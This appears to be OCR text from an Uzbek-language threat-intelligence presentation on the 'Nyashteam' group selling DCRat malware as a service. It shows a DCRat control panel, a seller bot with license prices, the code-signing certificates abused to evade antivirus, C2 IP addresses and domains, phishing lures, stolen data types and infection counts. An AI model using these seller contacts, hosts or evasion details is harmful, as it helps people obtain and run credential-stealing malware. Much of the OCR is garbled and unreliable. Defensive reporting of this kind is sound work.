NpoBeleHHs IVTAHOBOT0 00CAY:KHBAHNA, H3-3a DDoS 1 ceTeBBIX aTaK, B Pe3v/bLTaTe BbIXO/IA
CEpPBEPOB H3 CTPOA H NPH JIPYTHX (POpPC-MAKOPHBIX 00CTOATE/ILCTBAX.

1.7. Mbil OCYIIECTB/IHEM YVCIVIH TeXHHYECKOH NOAIEPAEKH KJIHEHTOE HA OCHOBAHHH 3anpoca

KJIHeHTa B https://t. me/nyashsupport2
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variant 1

Private mod*

variant 2

@ DCRatSeller

September 30
/start pe.05:41 W

https://github.com/gwgdanchun/DcRat
Opensource

File  Help

Clients Sereens Auto Task 4 Select an action using the buttons below. T

IP Port Country Group HWID Jse Camera 05 version

#38 Buy a license (1E~

# About y 06:05:42
ner: Bl | gwodanchun. 4 Select type of license to purchase.

zroup: 514084347
2% 2 Months (600P)

Za ht tp=: Fblo £, gw qli:ElILl:!].'l.'L'III.. cam

t for educatiom. “ 1 Year (2500P)

Logs N,
R %% Lifetime (45009)
Menu

L4
Online 0  Selected 0 Sent0B  Received OB CPU5S% Memory 25% Motification 55 Buy ali... g Suppﬂrm '5"' Tools bot
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Global Functions

Tasks

“UseRD.
\\"

[

-
...I.I
L=

Settings

Builder Tools
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Nyashteam DCRAT zararli dasturlarini AV dan yashirish uchun quyidagi kompaniyalar dasturlarining
sertifikatlaridan foydalangan: AnalystSoft Inc | Sectigo | Akeo Consulting | Entrust | Nvidia

@Nyashsupporte Domain Name: n9shteam?2.top
@nIshteambot Registrar URL: https://www.openprovider.com
@NyashHelpBot Creation Date: 2023-06-30

@n9shteambot Registry Expiry Date: 2025-06-30
@sudorat Registrar: Openprovider
@sudoratnews
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nyashteam hosts

Hosts e

Results: 2

e 37.44.238.250
Microsoft Windows BULLIONET (34534) le-de-France, France
A0/HTTP 3389/ UNKNOWN

\ 'J-( 1 + \
=1 AT il \ i A YA LA

80.211.144.156 (host156-144-211-80.serverdedicati.aruba.it)
Microsoft Windows ARUBA-ASN (31034) Tuscany, [taly
[ network-administration ) |

3389/RDP 47001/HTTE | “' ;
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agacha domenni band

Nyashteamning domenlari bazasi openprovayderdan olingan va unda 200$ evaziga 500t
qilish va bir vagtda boshgarish mumkin:

op"enpirovider Domains ¥ Products v Resellers ¥ Memberships ¥ Resource Center v+ Company v USD § [ Login ] Free Signup

Most popular

Basic S Membership Basic M Membership Basic L Membership

$49.99... $199.99... $499.99,..
_

Up to 100 domains () Up to 500 domains (O (*) Up to 2,000 domains (O

Unlimited essential SSL Unlimited essential SSL @ Unlimited essential SSL
certificates for $8.23 each certificates for $8.23 each certificates for $8.23 each

Unlimited SpamExperts spam Unlimited SpamExperts spam Unlimited SpamExperts spam
filters from €1.25 filters from €1.25 filters from €1.25

Unlimited EasyDMARC
subscriptions for €6.49 (1)

Unlimited EasyDMARC
subscriptions for €6.49 ()

Unlimited EasyDMARC
subscriptions for €6.49 (1)

© ©

20% off Plesk licenses () 20% off Plesk licenses (*) 20% off Plesk licenses

Buy Membership Buy Membership Buy Membership




zelensky.top
otval.top
publicdata.top
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magnit.top
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warpath.top
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896447 .clmonth.nyashteam.top
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top domen zonasi, o'tgan 2022-2023 yillar kesimida 4-o’rindagi eng yugori fishing
targatvchi manbaa sifatida ko’rsatilgan:

Ranking of TLDs by Phishing Domains (November to January 2023)

TLDs with a minimum of 30,000 domains and 25 phishing domains

m Domains in TLD | Phishing Domains ¥ | Phishing Domain Score

158,909,625 109,807
7,205,158 67,143 93.2
6,838,254 43,249 63.3

1,850,675 24,117 130.3
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Magsad, foydalanuvchilarning ma'lumotlarini go’lga kiritish va
undagi mavjud har ganday imkoniyatlardan foydalanib moliyaviy
aktivlarni qo’lga kiritish, xujum ko'lamini kengaytirish, targalish
va ko'proq zarar yetkazishdan iborat.

Xujumdan zarar ko'rgan asosiy gatlam, bu oddiy internet
_)foydalanuvchilari bo'lib, ularning kibergigiena va internetda

xavfsizlik choralaridan xabardor emasligi zararli dasturning keng
miqgyosda tarqgalishiga sabab bo'lgan.

Xujum qurollari sifatida ma’lumot o'g'irlovchi avtomatlashitirilgan,
oydalanish gisman ochiq bo’lgan va xizmat (MaaS) sifatida tagdim
etiladigan servislar orgali amalga oshirilgan.
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1. Fake telegram profile
2. Fake website
5. Fake "SECRET" docs
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Nimalar aniglandi ?

1.Q0'lga kiritilgan telegram profillar hagida ma’lumotlar
2.Fayllar, (targetlar nomi bilan alohida tartiblangan)
3.0perator brovzerida saglangan login/parollar
4.Discord tokenlari

1.Operatsiya 2023-yil dekabr oyida boshlangan va hozirgacha davom

etmoqgda...
2.Zararlangan “host” lar soni tahminan 5.000+ kompyuter
3.Zararli dasturlar targatilgan auditoriyalar hajmi 3+ mln kishi (kanal va

chatlar kesimida)
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Xavfsiz sarhadlar sari!

THANIKS



